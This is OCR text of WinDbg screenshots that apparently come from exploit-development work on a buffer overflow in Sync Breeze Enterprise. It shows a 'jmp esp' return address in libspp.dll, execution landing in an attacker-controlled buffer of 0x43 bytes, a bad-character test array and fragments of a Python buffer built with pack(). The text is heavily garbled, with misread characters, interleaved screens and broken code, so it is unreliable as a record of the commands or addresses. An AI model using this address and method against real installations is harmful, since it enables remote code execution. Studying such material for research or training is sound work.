01be7460 43 i b= 0lbe76fc 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?461 43 1 ebx 01be?72c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 4343434
01be?462 43 1 ebx 01be?75c 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343 0000000
01be?463 43 ebx 01be?78c 00000000 0000OO0O OO0O0OO0OO00 OOO0Q0OOOO0 00000000 0OOOOOOO Q0000000 0000000 00000000 QOO0OO0OO0O0 0O0OdO0d0 O000d0o
0lb=7464 43 ehx M1 k=77~ OONAANNA AAAAAANAN AAAAANNA AOAANANAN AAAAAANN AAAAAANN ANANAANN ANAANANN ANAAAAAN AAAANAAN ANAAAAAN ANAANAA
01be7465 43 inc ehx € >
0:010: bp 0x10090c83

*xx TARHIAG. Unable to verifv checksum for C:“Program Files“Sync Breeze Enterprise~bin~libspp.dll

0:010: g

Breakpoint 0 hit

=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde =di=00eb3570

eip=10090c83 esp=01be?45c ebp=004abf20 iopl=0 nv up i pl nz na po nc

cs=001b ===0023 d=s=0023 e=s=0023 {==003b g==0000 efl=00000202

lib=pp!SCA_FileScout: : GetStatusValue+0zbi:

1009083 fied imp esp {01h=745c)

u:oius p

Breakpoint 0 hit

=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde =di=00eb3570

eip=10090c83 esp=01be?45c ebp=004abf20 iopl=0 nv up i pl nz na po nc

c==001b ===0023 d=s=0023 e=s=0023 {==003b g==0000 efl=00000202

lib=pp!SCA_FileScout: : GetStatusValue+0zbi:

1009083 ffed Imp ezp {01b=745c}

0:010: p

=ax=00000001 =bx=00000000 ecx=004bd8fb =d==0000034f esi=004b2cde edi=00eb3570

eip=01be745c esp=01be?45c ebp=004abf20 iopl=0 nv up =i pl nz na po nc

c==001b ===0023 ds=0023 es=0023 {==003b g=s=0000 efl=00000202

01be745c 43 inc ehx

|o:010> |

Ln0,Col0 SysO:<lLocal> Proc000:1f28 Thrd 010:1438 ASM OVR  CAPS NUM

Hmt sm3s3h h3



t Hmt sm3s3h

- |:] II.'l:I| L] +

+= pack(

e |:]”.'-_".| "o

hadchars

|:] " [:: " +

+

(buf))

butf +




&) Pid 5384 - WinDbg:10.0.18362.1 X85
File Edit View Debug Window Help

| Disglarformat B:{te

& | BlEEHED B d [ONBPEADEEREDOBE| ] A
Oﬁsaﬂ@SSCDpeip Previous Virtual
Ho i izassembly possible 01e5745c
10 = Jmp 10 - 01=57476
10090c85 0bO9 or ecx, dvord ptr [ecx] 01e57490
10090=87 1002 adc byte ptr [edxz].al 01e574aa
1009089 0cO09 or al. 9 01e574cd
10090=8b 10240c adc byte ptr [espt+ecz].ah 01e574de
100908 0910 or dword ptr [sax].ed= 01e574£f8
1009090 46 inc esi 01257512
10090c=91 OcO09 or al, 9 01e5752c
10090=93 109090909090 adc byte ptr [eax—-6F&FEF70h].dl 0157546
10090=99 90 nop 0157560
10090=%a 90 nop 01e5757a
1009090 90 nop 01=57594
10090c9c 90 nop 0le575ae
10090=9d 90 nop 01=575c8
10090=%= 90 nop 01e575e2
10090=9f 90 nop 01=eE7Cfc
lib=pp!SCA FileScout: :SetFileCallbacl: 01e57616
10090cal 8b442404 now gax, dvord ptr [esp+d] 01e57630
10090cad 8b542408 now edx, dvord ptr [esp+8] 0leb764a
10090ca8 898154040000 Mo dword ptr [ecz+454h]. eax 01e57664
01e5767e
01e57698
Command 01e576b2
0:010> bp 0x10090c83 RS Sisce
*%% WARNING: Unable to werify checksum for C:“Program Files“Sync Breeze Enterprisesbin“libspp.dll g%:gggﬁg
0:010x g
Breakpoint 0 hit 0les7?la
Sax=00000001 ebx=00000000 scx=004bs5a2 edx=0000032e esi=004b3f3e edi=00d23570 01e57734
£ip=10090c83 esp=0125745c ebp=004b2110 iopl=0 nv up ei pl nz na po nc Dles?74e
cs=001b  ===0023 ds=0023 es=0023 fs=003b g==0000 =£1=00000202 Q1Soies
libspp!SCA FileScout::GetStatusValue+lzbd: g%:g;;gi
10090c83 ffed inp esp {01=5745c) D1t 77hE
01e577d0
01le577ea
01e57804
01e5781e
01=57838
01e57852
01eS5786c
01e57886
01e578a0
01e578ba
01e578d4
[oo1zs | <

T«

2
—

(2]

Mm3s3h

. Col 0 Sys D:<Local=

Proc 000:1508  Thrd 012:15a4

ASM

OVR

CAPS

>

MNUM



badchans badchars

b"\x01\x02\x0 04" x09\xBb\x0c )F\x10 b*\xB1\xC
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1le\x1f\x2C b*"\x11\x
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\ «2d\x2e\x2f\x30 b™\x2
b"\x51\x52\x53\x54\x55\x5¢ x59\x5a\x5b\ (5d\; (5F\x60 \x51\x52

"\ b \x61\x6

b

b

b

b
]

t Hmt sm3s3h
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T«

T Pid 6004 - WinDbg:10.0.18362.1 X286 = X
File Edit View Debug Window Help
=l BlElf=H=m e d (O ERGEEREEOSE] G A
Memary n
Offset: ‘@Sscopeip Virtual: ~ | || Previous Nest
isassenbly possible . 01da745c001 02 03 04 05 06 07 08 09 Ob Oc Os Of 10 11 12 13 14 15 16 17 16 19 la lb 1o ff ... ... .. R ~
1 L oo LSt () =, = /0123456789
10090c85 ecx.dvord ptr [ecz] ;<> ?@ABCDEFGHIJELMHOPORST
1009087 adc byte ptr [edz].al UYWEYZ[~]"_"abcdefghijklnn
10090c89 or al,? opgratuvwEyz |, ...
10090c8b 10240c adc byte ptr [espt+ecx].ah
100908 0910 or dword ptr [esx]l.ed=  n1da74f @ a2 a4 a5 ab a? a9 29 az ab ac ad a= af B0 bl b2 B2 b4 BE bBE b? B2 B9 ba BB b N ..
10090c30 46 inc esi o 01da7512 bd be bf ol ol c2 cicd o cb o7 cl oY cach oo cd ce of A0 dl d2 d3 A4 d5 A6 ...
1009091 0c09 or al.d
1009093 109090909090 adc byte ptr [eaz—&F&¢FeF?70R].AL 01da?C4e) f1 £2 £3 f4 £5 f6 £7 £8 £9 fa fb fc fd fe £ff 43 43 43 43 43 43 43 43 43 43 430 .. ... ... .. . CEECECEEEEE
10030299 90 nop CCCCCCOCCCCCCCCCCCCCCCCCCe
10030e9s 90 nop 01da?57 CCCCCCCCCCCCCCCCCCCCoCCCCe
10030=9b 90 nop 01da7594 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
10030=%= 90 nop 01da75ae 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10030e3d 90 nop 01da75cB 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10030=% 90 nop 01da?E22 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090=9f 90 nop 01da?5fc 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
lib=pp!SCA_FileScout::SetFileCallback: 01da76l6 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090=a0 8h442404 now eax dvord ptr [esp+d] 01da7630 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090cad 8b542408 mov edx. dvord ptr [esp+8] O01da76da 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
10090ca8 898154040000 nov dvord ptr [ecz+dS4h] eax 01da7664 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
01da767e 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCe
01da7698 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
01da76b2 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCT
0:010> bp O=10090c83 Olda7éco 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCCCCCCCCCCCe
*%* WARNING: Unable to werify checksum for C:“Program Files~Sync Bresze Enterprise~bin~libspp.dll 01da76eb 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
0:010% g 01da7700 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCOCCCC
Breakpoint 0 hit 01da771a 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCC
2ax=00000001 =b==00000000 ecx=005fa9db edz=0000034f ==i=005f2df6 edi=00=73570 01da?734 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
eip=10090c83 esp=01da?45c ebp=005ee570 icpl=0 nv up ei pl nz na po nc 01da7742 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCOCCCC
cs=001b =s=0023 ds=0023 es=0023 fs=003b g==0000 =£1=00000202 01da?768 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCCCCCCCCCCC
libspp!SCA_FileScout: : GetStatusValus+0xb3: 01da?782 43 43 43 43 43 43 00 00 00 0O 00 OO 00 OO 0O OO0 0O OO0 OO 00 OO 0O OO0 0O 00 00 CCCCCC. ... ... ... .......
10090283 ffed imp esp {01da?45c) 01da?79c 00 00 0O 00 OO 00 OO0 0O OO0 0O 00 OO0 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 . ........ .. .. ... ..........
01da?7be 00 00 0O 00 OO 00 OO 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 ... ... ... .. ... ..........
01da?7d0 00 00 0O 00 OO 00 00 0O OO0 0O 00 OO0 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 ........... .. ... ..........
01da?7ea 00 00 0O 00 OO 00 OO0 0O OO0 OO OO0 OO 00 OO 0O OO0 0O 00 OO0 00 00 00 00 00 00 00 ......... .. ...............
01da7304 00O 00 0O 00 OO 0O OO 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 ... ... ... .. ... ..........
01da?81e 00 00 0O 00 OO 00 OO0 0O OO0 0O OO0 OO 00 OO0 0O OO0 0O 00 00 00 00 00 00 00 00 00 ........... .. ... ..........
01da?7838 00 00 0O 00 OO 0O OO0 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 . .......... .. ... ..........
01da?7852 00 00 0O 00 OO 0O OO 0O OO0 OO OO0 OO 00 OO0 0O 00 0O 00 OO0 00 00 00 00 00 00 00 ......... .. .. ... ..........
01da?86c 00 00 0O 00 OO0 00 OO0 0O OO0 0O 00 OO0 00 00 0O 00 0O 00 00 00 00 00 00 00 00 00 .......... ..... ..........
01da7886 00 00 0O 00 OO 00 OO 0O OO0 0O OO0 OO0 00 OO0 0O OO0 0O 00 00 00 00 00 00 00 00 00 ........... ..... ..........
01da?7820 00 00 0O 00 OO 0O OO 0O OO0 OO OO0 OO 00 00 0O 00 0O 00 OO0 00 00 00 00 0O 00 00 ....... ... .. ... ..........
01da?8ba 00 00 0O 00 OO 0O OO0 0O OO0 OO OO0 OO 0O OO 0O OO0 OO0 00 OO0 00 OO0 0O 00 00 00 00 A e e
01da78d4 00 00 0O 00 OO0 00 OO0 0O 53 79 6= 63 20 42 72 65 65 7a 65 20 45 6s 74 65 72 70 ... ... . Sync Breeze Enterp w
jo:0125 | < >
Ln0, Col0 SysO:<Local> Proc000:1774 Thrd012:1588 ASM OVR CAPS NUM
mt sm3s3h
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